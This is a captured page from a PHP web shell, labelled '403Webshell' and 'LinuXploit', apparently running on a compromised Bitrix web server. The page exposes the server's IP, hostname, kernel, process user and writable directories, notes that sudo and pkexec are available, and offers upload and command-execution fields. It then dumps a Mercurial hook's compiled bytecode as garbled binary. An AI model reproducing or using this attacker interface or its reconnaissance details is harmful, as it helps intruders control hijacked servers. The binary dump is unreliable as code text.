403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/reject_merge_commits.cpython-39.pyc
a

�+�b^�@s:dZddlmZddlmZddlmZmZddd�ZdS)	awreject_merge_commits is a hook to check new changesets for merge commits.
Merge commits are allowed only between different branches, i.e. merging
a feature branch into the main development branch. This can be used to
enforce policies for linear commit histories.

Usage:
  [hooks]
  pretxnchangegroup.reject_merge_commits =     python:hgext.hooklib.reject_merge_commits.hook
�)�absolute_import)�_)�error�pycompatNcs�|dkr t�td�t�|������|}�jj|��d�D]L������	�}t
|�dkr`q>t��fdd�|D��r>t�td����q>dS)NspretxnchangegroupsUnsupported hook type %r)�start�c3s"|]}�|�����kVqdS)N)�branch)�.0�p��repo�rev��H/usr/lib64/python3.9/site-packages/hgext/hooklib/reject_merge_commits.py�	<genexpr>&�zhook.<locals>.<genexpr>s@%s rejected as merge on the same branch. Please consider rebase.)rZAbortrrZbytestrZ
unfilteredZ	changelogZrevsr
�parents�len�all)ZuirZhooktypeZnode�kwargs�ctxrrrr�hooks$����r)N)	�__doc__Z
__future__rZmercurial.i18nrZ	mercurialrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit